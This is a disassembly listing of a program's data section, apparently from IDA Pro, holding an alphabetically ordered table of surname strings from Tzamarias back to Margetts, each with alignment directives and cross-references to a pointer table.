aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042EA84o
align 4
aTwells db 'Twells',0 ; DATA XREF: ___:0042EA80o
align 4
aTuttle db 'Tuttle',0 ; DATA XREF: ___:0042EA7Co
align 4
aTurek db 'Turek',0 ; DATA XREF: ___:0042EA78o
align 4
aTurano db 'Turano',0 ; DATA XREF: ___:0042EA74o
align 4
aTukan db 'Tukan',0 ; DATA XREF: ___:0042EA70o
align 4
aTudge db 'Tudge',0 ; DATA XREF: ___:0042EA6Co
align 4
aTuck db 'Tuck',0 ; DATA XREF: ___:0042EA68o
align 4
aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0042EA64o
align 10h
aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042EA60o
align 4
aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042EA5Co
aTruss db 'Truss',0 ; DATA XREF: ___:0042EA58o
align 4
aTroy db 'Troy',0 ; DATA XREF: ___:0042EA54o
align 4
aTroiani db 'Troiani',0 ; DATA XREF: ___:0042EA50o
aTringali db 'Tringali',0 ; DATA XREF: ___:0042EA4Co
align 4
aTrewin db 'Trewin',0 ; DATA XREF: ___:0042EA48o
align 10h
aTrenga db 'Trenga',0 ; DATA XREF: ___:0042EA44o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: ___:0042EA40o
align 4
aToye db 'Toye',0 ; DATA XREF: ___:0042EA3Co
align 4
aTowler db 'Towler',0 ; DATA XREF: ___:0042EA38o
align 4
aTorske db 'Torske',0 ; DATA XREF: ___:0042EA34o
align 4
aTorresi db 'Torresi',0 ; DATA XREF: ___:0042EA30o
aTopulos db 'Topulos',0 ; DATA XREF: ___:0042EA2Co
aToomer db 'Toomer',0 ; DATA XREF: ___:0042EA28o
align 4
aTomford db 'Tomford',0 ; DATA XREF: ___:0042EA24o
aTolman db 'Tolman',0 ; DATA XREF: ___:0042EA20o
align 4
aTolls db 'Tolls',0 ; DATA XREF: ___:0042EA1Co
align 4
aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042EA18o
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042EA14o
align 4
aTimmons db 'Timmons',0 ; DATA XREF: ___:0042EA10o
aTill db 'Till',0 ; DATA XREF: ___:0042EA0Co
align 4
aTierney db 'Tierney',0 ; DATA XREF: ___:0042EA08o
aThroop db 'Throop',0 ; DATA XREF: ___:0042EA04o
align 4
aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042EA00o
aThisted db 'Thisted',0 ; DATA XREF: ___:0042E9FCo
aThibault db 'Thibault',0 ; DATA XREF: ___:0042E9F8o
align 10h
aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E9F4o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E9F0o
align 4
aThan db 'Than',0 ; DATA XREF: ___:0042E9ECo
align 10h
aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E9E8o
align 4
aTenney db 'Tenney',0 ; DATA XREF: ___:0042E9E4o
align 4
aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E9E0o
align 4
aTemes db 'Temes',0 ; DATA XREF: ___:0042E9DCo
align 4
aTeague db 'Teague',0 ; DATA XREF: ___:0042E9D8o
align 4
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E9D4o
align 4
aTawn db 'Tawn',0 ; DATA XREF: ___:0042E9D0o
align 10h
aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E9CCo
aTatar db 'Tatar',0 ; DATA XREF: ___:0042E9C8o
align 10h
aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E9C4o
align 4
aTandler db 'Tandler',0 ; DATA XREF: ___:0042E9C0o
aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E9BCo
aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E9B8o
align 4
aTai db 'Tai',0 ; DATA XREF: ___:0042E9B4o
aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E9B0o
aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E9ACo
aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E9A8o
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E9A4o
align 4
aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E9A0o
align 4
aSuo db 'Suo',0 ; DATA XREF: ___:0042E99Co
aSumner db 'Sumner',0 ; DATA XREF: ___:0042E998o
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E994o
align 4
aStringer db 'Stringer',0 ; DATA XREF: ___:0042E990o
align 10h
aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E98Co
aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E988o
aStrange db 'Strange',0 ; DATA XREF: ___:0042E984o
aStott db 'Stott',0 ; DATA XREF: ___:0042E980o
align 10h
aStorer db 'Storer',0 ; DATA XREF: ___:0042E97Co
align 4
aStonich db 'Stonich',0 ; DATA XREF: ___:0042E978o
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E974o
aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E970o
align 4
aStockton db 'Stockton',0 ; DATA XREF: ___:0042E96Co
align 4
aStock db 'Stock',0 ; DATA XREF: ___:0042E968o
align 4
aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E964o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E960o
align 4
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E95Co
align 4
aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E958o
aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E954o
align 4
aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E950o
aStefani db 'Stefani',0 ; DATA XREF: ___:0042E94Co
aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E948o
align 4
aStates db 'States',0 ; DATA XREF: ___:0042E944o
align 10h
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E940o
align 10h
aStang db 'Stang',0 ; DATA XREF: ___:0042E93Co
align 4
aStam db 'Stam',0 ; DATA XREF: ___:0042E938o
align 10h
aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E934o
aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E930o
align 4
aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E92Co
aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E928o
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E924o
align 4
aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E920o
align 10h
aSperber db 'Sperber',0 ; DATA XREF: ___:0042E91Co
aSpence db 'Spence',0 ; DATA XREF: ___:0042E918o
align 10h
aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E914o
aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E910o
align 4
aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E90Co
aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E908o
aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E904o
align 10h
aSoule db 'Soule',0 ; DATA XREF: ___:0042E900o
align 4
aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E8FCo
align 10h
aSottak db 'Sottak',0 ; DATA XREF: ___:0042E8F8o
align 4
aSorg db 'Sorg',0 ; DATA XREF: ___:0042E8F4o
align 10h
aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E8F0o
align 4
aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E8ECo
align 4
aSomers db 'Somers',0 ; DATA XREF: ___:0042E8E8o
align 10h
aSolon db 'Solon',0 ; DATA XREF: ___:0042E8E4o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E8E0o
aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E8DCo
align 4
aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E8D8o
aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E8D4o
align 4
aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E8D0o
align 4
aSloan db 'Sloan',0 ; DATA XREF: ___:0042E8CCo
align 4
aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E8C8o
align 4
aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E8C4o
align 4
aSkane db 'Skane',0 ; DATA XREF: ___:0042E8C0o
align 4
aSites db 'Sites',0 ; DATA XREF: ___:0042E8BCo
align 4
aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E8B8o
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E8B4o
align 10h
aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E8B0o
align 4
aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E8ACo
align 4
aSigna db 'Signa',0 ; DATA XREF: ___:0042E8A8o
align 10h
aSigini db 'Sigini',0 ; DATA XREF: ___:0042E8A4o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E8A0o
aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E89Co
align 4
aShimon db 'Shimon',0 ; DATA XREF: ___:0042E898o
align 10h
aShibata db 'Shibata',0 ; DATA XREF: ___:0042E894o
aShia db 'Shia',0 ; DATA XREF: ___:0042E890o
align 10h
aShesko db 'Shesko',0 ; DATA XREF: ___:0042E88Co
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E888o
align 4
aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E884o
align 10h
aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E880o
align 4
aSheats db 'Sheats',0 ; DATA XREF: ___:0042E87Co
align 4
aShea db 'Shea',0 ; DATA XREF: ___:0042E878o
align 4
aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E874o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E870o
aShar db 'Shar',0 ; DATA XREF: ___:0042E86Co
align 4
aShanley db 'Shanley',0 ; DATA XREF: ___:0042E868o
aShankland db 'Shankland',0 ; DATA XREF: ___:0042E864o
align 4
aShakis db 'Shakis',0 ; DATA XREF: ___:0042E860o
align 4
aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E85Co
align 4
aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E858o
aSexton db 'Sexton',0 ; DATA XREF: ___:0042E854o
align 4
aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E850o
align 4
aSennett db 'Sennett',0 ; DATA XREF: ___:0042E84Co
aSen db 'Sen',0 ; DATA XREF: ___:0042E848o
aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E844o
aSekler db 'Sekler',0 ; DATA XREF: ___:0042E840o
align 4
aSegal db 'Segal',0 ; DATA XREF: ___:0042E83Co
align 4
aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E838o
align 4
aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E834o
align 4
aScudder db 'Scudder',0 ; DATA XREF: ___:0042E830o
aScovel db 'Scovel',0 ; DATA XREF: ___:0042E82Co
align 4
aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E828o
aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E824o
align 10h
aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E820o
align 4
aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E81Co
aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E818o
aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E814o
align 4
aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E810o
aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E80Co
align 10h
aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E808o
align 4
aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E804o
aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E800o
align 10h
aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E7FCo
aScharf db 'Scharf',0 ; DATA XREF: ___:0042E7F8o
align 4
aScepan db 'Scepan',0 ; DATA XREF: ___:0042E7F4o
align 4
aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E7F0o
align 4
aSayied db 'Sayied',0 ; DATA XREF: ___:0042E7ECo
align 10h
aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E7E8o
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E7E4o
align 4
aSatta db 'Satta',0 ; DATA XREF: ___:0042E7E0o
align 10h
aSatin db 'Satin',0 ; DATA XREF: ___:0042E7DCo
align 4
aSase db 'Sase',0 ; DATA XREF: ___:0042E7D8o
align 10h
aSartore db 'Sartore',0 ; DATA XREF: ___:0042E7D4o
aSarin db 'Sarin',0 ; DATA XREF: ___:0042E7D0o
align 10h
aSapers db 'Sapers',0 ; DATA XREF: ___:0042E7CCo
align 4
aSanna db 'Sanna',0 ; DATA XREF: ___:0042E7C8o
align 10h
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E7C4o
aSamson db 'Samson',0 ; DATA XREF: ___:0042E7C0o
align 4
aSali db 'Sali',0 ; DATA XREF: ___:0042E7BCo
align 10h
aSahu db 'Sahu',0 ; DATA XREF: ___:0042E7B8o
align 4
aSafire db 'Safire',0 ; DATA XREF: ___:0042E7B4o
align 10h
aSadler db 'Sadler',0 ; DATA XREF: ___:0042E7B0o
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E7ACo
align 4
aRyu db 'Ryu',0 ; DATA XREF: ___:0042E7A8o
aRush db 'Rush',0 ; DATA XREF: ___:0042E7A4o
align 10h
aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E7A0o
align 4
aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E79Co
align 4
aRuan db 'Ruan',0 ; DATA XREF: ___:0042E798o
align 10h
aRu db 'Ru',0 ; DATA XREF: ___:0042E794o
align 4
aRoyal db 'Royal',0 ; DATA XREF: ___:0042E790o
align 4
aRow db 'Row',0 ; DATA XREF: ___:0042E78Co
aRonen db 'Ronen',0 ; DATA XREF: ___:0042E788o
align 4
aRogers db 'Rogers',0 ; DATA XREF: ___:0042E784o
align 10h
aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E780o
aRocha db 'Rocha',0 ; DATA XREF: ___:0042E77Co
align 10h
aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E778o
align 4
aRivera db 'Rivera',0 ; DATA XREF: ___:0042E774o
align 4
aRish db 'Rish',0 ; DATA XREF: ___:0042E770o
align 4
aRineer db 'Rineer',0 ; DATA XREF: ___:0042E76Co
align 4
aRindos db 'Rindos',0 ; DATA XREF: ___:0042E768o
align 4
aRielly db 'Rielly',0 ; DATA XREF: ___:0042E764o
align 4
aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E760o
align 10h
aRhea db 'Rhea',0 ; DATA XREF: ___:0042E75Co
align 4
aResnik db 'Resnik',0 ; DATA XREF: ___:0042E758o
align 10h
aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E754o
aRenick db 'Renick',0 ; DATA XREF: ___:0042E750o
align 10h
aRemak db 'Remak',0 ; DATA XREF: ___:0042E74Co
align 4
aReinold db 'Reinold',0 ; DATA XREF: ___:0042E748o
aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E744o
align 4
aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E740o
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E73Co
align 4
aRayport db 'Rayport',0 ; DATA XREF: ___:0042E738o
aRapple db 'Rapple',0 ; DATA XREF: ___:0042E734o
align 4
aRankin db 'Rankin',0 ; DATA XREF: ___:0042E730o
align 10h
aRangan db 'Rangan',0 ; DATA XREF: ___:0042E72Co
align 4
aRaney db 'Raney',0 ; DATA XREF: ___:0042E728o
align 10h
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E724o
aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E720o
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E71Co
align 4
aRabe db 'Rabe',0 ; DATA XREF: ___:0042E718o
align 4
aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E714o
align 4
aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E710o
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E70Co
aPugh db 'Pugh',0 ; DATA XREF: ___:0042E708o
align 4
aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E704o
align 4
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E700o
align 4
aProietti db 'Proietti',0 ; DATA XREF: ___:0042E6FCo
align 4
aPritz db 'Pritz',0 ; DATA XREF: ___:0042E6F8o
align 10h
aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E6F4o
align 4
aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E6F0o
aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E6ECo
aPresper db 'Presper',0 ; DATA XREF: ___:0042E6E8o
aPowers db 'Powers',0 ; DATA XREF: ___:0042E6E4o
align 4
aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E6E0o
aPoma db 'Poma',0 ; DATA XREF: ___:0042E6DCo
align 4
aPolitis db 'Politis',0 ; DATA XREF: ___:0042E6D8o
aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E6D4o
aPolak db 'Polak',0 ; DATA XREF: ___:0042E6D0o
align 4
aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E6CCo
aPointer db 'Pointer',0 ; DATA XREF: ___:0042E6C8o
aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E6C4o
align 10h
aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E6C0o
align 4
aPo db 'Po',0 ; DATA XREF: ___:0042E6BCo
align 10h
aPlous db 'Plous',0 ; DATA XREF: ___:0042E6B8o
align 4
aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E6B4o
aPlant db 'Plant',0 ; DATA XREF: ___:0042E6B0o
align 4
aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E6ACo
aPinot db 'Pinot',0 ; DATA XREF: ___:0042E6A8o
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E6A4o
aPfister db 'Pfister',0 ; DATA XREF: ___:0042E6A0o
aPettit db 'Pettit',0 ; DATA XREF: ___:0042E69Co
align 10h
aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E698o
align 4
aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E694o
align 4
aPeters db 'Peters',0 ; DATA XREF: ___:0042E690o
align 10h
aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E68Co
align 4
aPerone db 'Perone',0 ; DATA XREF: ___:0042E688o
align 4
aPerna db 'Perna',0 ; DATA XREF: ___:0042E684o
align 4
aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E680o
aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E67Co
align 4
aPerko db 'Perko',0 ; DATA XREF: ___:0042E678o
align 4
aPereira db 'Pereira',0 ; DATA XREF: ___:0042E674o
aPenny db 'Penny',0 ; DATA XREF: ___:0042E670o
align 4
aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E66Co
aPederson db 'Pederson',0 ; DATA XREF: ___:0042E668o
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E664o
align 4
aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E660o
aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E65Co
aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E658o
align 10h
aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E654o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E650o
aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E64Co
align 4
aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E648o
aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E644o
align 10h
aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E640o
align 4
aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E63Co
align 4
aParris db 'Parris',0 ; DATA XREF: ___:0042E638o
align 10h
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E634o
aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E630o
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E62Co
align 4
aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E628o
align 10h
aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E624o
align 4
aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E620o
align 4
aPallara db 'Pallara',0 ; DATA XREF: ___:0042E61Co
aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E618o
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E614o
align 4
aPaine db 'Paine',0 ; DATA XREF: ___:0042E610o
align 4
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E60Co
align 4
aOvid db 'Ovid',0 ; DATA XREF: ___:0042E608o
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E604o
aOtten db 'Otten',0 ; DATA XREF: ___:0042E600o
align 4
aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E5FCo
align 10h
aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E5F8o
align 4
aOspina db 'Ospina',0 ; DATA XREF: ___:0042E5F4o
align 4
aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E5F0o
align 4
aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E5ECo
aOray db 'Oray',0 ; DATA XREF: ___:0042E5E8o
align 4
aOpel db 'Opel',0 ; DATA XREF: ___:0042E5E4o
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E5E0o
aOman db 'Oman',0 ; DATA XREF: ___:0042E5DCo
align 4
aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E5D8o
align 10h
aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E5D4o
align 4
aOlson db 'Olson',0 ; DATA XREF: ___:0042E5D0o
align 4
aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E5CCo
align 4
aOldford db 'Oldford',0 ; DATA XREF: ___:0042E5C8o
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E5C4o
aOh db 'Oh',0 ; DATA XREF: ___:0042E5C0o
align 10h
aOgata db 'Ogata',0 ; DATA XREF: ___:0042E5BCo
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E5B8o
aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E5B4o
align 4
aNotman db 'Notman',0 ; DATA XREF: ___:0042E5B0o
align 10h
aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E5ACo
align 4
aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E5A8o
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E5A4o
align 4
aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E5A0o
align 10h
aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E59Co
align 4
aNg db 'Ng',0 ; DATA XREF: ___:0042E598o
align 4
aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E594o
align 10h
aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E590o
aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E58Co
align 10h
aNesci db 'Nesci',0 ; DATA XREF: ___:0042E588o
align 4
aNenna db 'Nenna',0 ; DATA XREF: ___:0042E584o
align 10h
aNelson db 'Nelson',0 ; DATA XREF: ___:0042E580o
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E57Co
aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E578o
aNardone db 'Nardone',0 ; DATA XREF: ___:0042E574o
aNardi db 'Nardi',0 ; DATA XREF: ___:0042E570o
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E56Co
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E568o
align 4
aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E564o
align 4
aMumford db 'Mumford',0 ; DATA XREF: ___:0042E560o
aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E55Co
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E558o
aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E554o
align 4
aMuello db 'Muello',0 ; DATA XREF: ___:0042E550o
align 10h
aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E54Co
aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E548o
aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E544o
align 4
aMosler db 'Mosler',0 ; DATA XREF: ___:0042E540o
align 4
aMosher db 'Mosher',0 ; DATA XREF: ___:0042E53Co
align 4
aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E538o
align 4
aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E534o
align 10h
aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E530o
align 4
aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E52Co
aMorani db 'Morani',0 ; DATA XREF: ___:0042E528o
align 4
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E524o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E520o
align 4
aMonque db 'Monque',0 ; DATA XREF: ___:0042E51Co
align 4
aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E518o
align 4
aMohr db 'Mohr',0 ; DATA XREF: ___:0042E514o
align 10h
aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E510o
aModestino db 'Modestino',0 ; DATA XREF: ___:0042E50Co
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E508o
aMittal db 'Mittal',0 ; DATA XREF: ___:0042E504o
align 4
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E500o
aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E4FCo
align 4
aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E4F8o
aMini db 'Mini',0 ; DATA XREF: ___:0042E4F4o
align 10h
aMinh db 'Minh',0 ; DATA XREF: ___:0042E4F0o
align 4
aMills db 'Mills',0 ; DATA XREF: ___:0042E4ECo
align 10h
aMieher db 'Mieher',0 ; DATA XREF: ___:0042E4E8o
align 4
aMiddle db 'Middle',0 ; DATA XREF: ___:0042E4E4o
align 10h
aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E4E0o
align 4
aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E4DCo
align 4
aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E4D8o
align 10h
aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E4D4o
aMerz db 'Merz',0 ; DATA XREF: ___:0042E4D0o
align 10h
aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E4CCo
aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E4C8o
align 4
aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E4C4o
aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E4C0o
align 4
aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E4BCo
aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E4B8o
align 4
aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E4B4o
aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E4B0o
aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E4ACo
aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E4A8o
aMclane db 'Mclane',0 ; DATA XREF: ___:0042E4A4o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E4A0o
aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E49Co
align 4
aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E498o
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E494o
align 10h
aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E490o
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E48Co
align 4
aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E488o
aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E484o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E480o
align 4
aMccall db 'Mccall',0 ; DATA XREF: ___:0042E47Co
align 4
aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E478o
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E474o
aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E470o
align 4
aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E46Co
aMay db 'May',0 ; DATA XREF: ___:0042E468o
aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E464o
align 10h
aMattson db 'Mattson',0 ; DATA XREF: ___:0042E460o
aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E45Co
align 4
aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E458o
align 10h
aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E454o
aMass db 'Mass',0 ; DATA XREF: ___:0042E450o
align 10h
aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E44Co
align 4
aMarton db 'Marton',0 ; DATA XREF: ___:0042E448o
align 4
aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E444o
align 10h
aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E440o
align 4
aMarques db 'Marques',0 ; DATA XREF: ___:0042E43Co
aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E438o
align 10h
